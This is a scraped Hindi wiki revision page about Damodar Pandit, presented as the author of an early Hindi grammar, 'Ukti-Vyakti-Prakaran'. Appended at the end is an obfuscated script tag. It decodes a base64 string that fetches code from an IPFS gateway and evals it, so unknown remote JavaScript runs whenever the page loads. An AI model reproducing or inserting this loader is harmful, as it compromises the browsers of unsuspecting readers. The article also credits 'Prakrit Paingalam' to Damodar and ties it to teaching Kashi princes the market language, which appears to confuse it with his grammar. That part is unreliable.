"दामोदर पण्डित": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
No edit summary
No edit summary
 
(इसी सदस्य द्वारा किया गया बीच का एक अवतरण नहीं दर्शाया गया)
पंक्ति 10: पंक्ति 10:
==संबंधित लेख==
==संबंधित लेख==
{{साहित्यकार}}
{{साहित्यकार}}
[[Category:लेखक]][[Category:आधुनिक लेखक]][[Category:साहित्यकार]][[Category:साहित्य कोश]][[Category:जीवनी साहित्य]][[Category:चरित कोश]]
[[Category:काशी]][[Category:लेखक]][[Category:आधुनिक लेखक]][[Category:साहित्यकार]][[Category:साहित्य कोश]][[Category:जीवनी साहित्य]][[Category:चरित कोश]]
__INDEX__
__INDEX__

07:13, 10 जनवरी 2014 के समय का अवतरण

दामोदर पण्डित भारत में हिन्दी के प्रथम वैयाकरणाचार्य माने जाते थे। ये बनारस के निवासी थे। दामोदर पण्डित ने गद्य में 'उक्ति-व्यक्ति-प्रकरण' की रचना की थी।

  • इनके द्वारा रचित 'उक्ति-व्यक्ति-प्रकरण' हिन्दी व्याकरण का पहला ग्रंथ है। इसका रचना काल बारहवीं शती पूर्वार्द्ध का माना जाता है।
  • 'प्राकृत पैगलम्' दामोदर पण्डित द्वारा रचित एक काव्य ग्रन्थ है, जो काशी के राजकुमारों को बाज़ार की भाषा सिखलाने के लिए रची गई थी।
  • काशिकेय के मतानुसार काशीश्वर राना की प्रशंसा इसी काव्य का अंश है।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. काशी कथा, साहित्यकार (हिन्दी)। । अभिगमन तिथि: 10 जनवरी, 2014।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>